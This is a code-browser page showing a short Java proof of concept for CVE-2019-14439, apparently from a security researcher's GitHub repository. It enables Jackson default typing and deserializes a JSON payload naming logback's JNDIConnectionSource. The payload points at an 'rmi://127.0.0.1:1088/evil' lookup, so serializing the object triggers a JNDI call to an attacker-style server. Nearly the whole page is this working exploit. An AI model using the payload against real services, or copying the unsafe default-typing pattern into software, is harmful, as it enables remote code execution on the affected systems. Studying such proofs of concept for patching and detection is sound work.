MCPcopy Create free account
hub / github.com/Firebasky/Java / CVE_2019_14439

Class CVE_2019_14439

jackson/src/main/java/com/firebasky/cve/CVE_2019_14439.java:7–15  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

5import java.io.IOException;
6
7public class CVE_2019_14439 {
8 public static void main(String[] args) throws IOException {
9 String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"rmi://127.0.0.1:1088/evil\"}]";
10 ObjectMapper mapper = new ObjectMapper();
11 mapper.enableDefaultTyping();
12 Object o = mapper.readValue(json, Object.class);
13 mapper.writeValueAsString(o);//调用所有个 get 方法
14 }
15}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected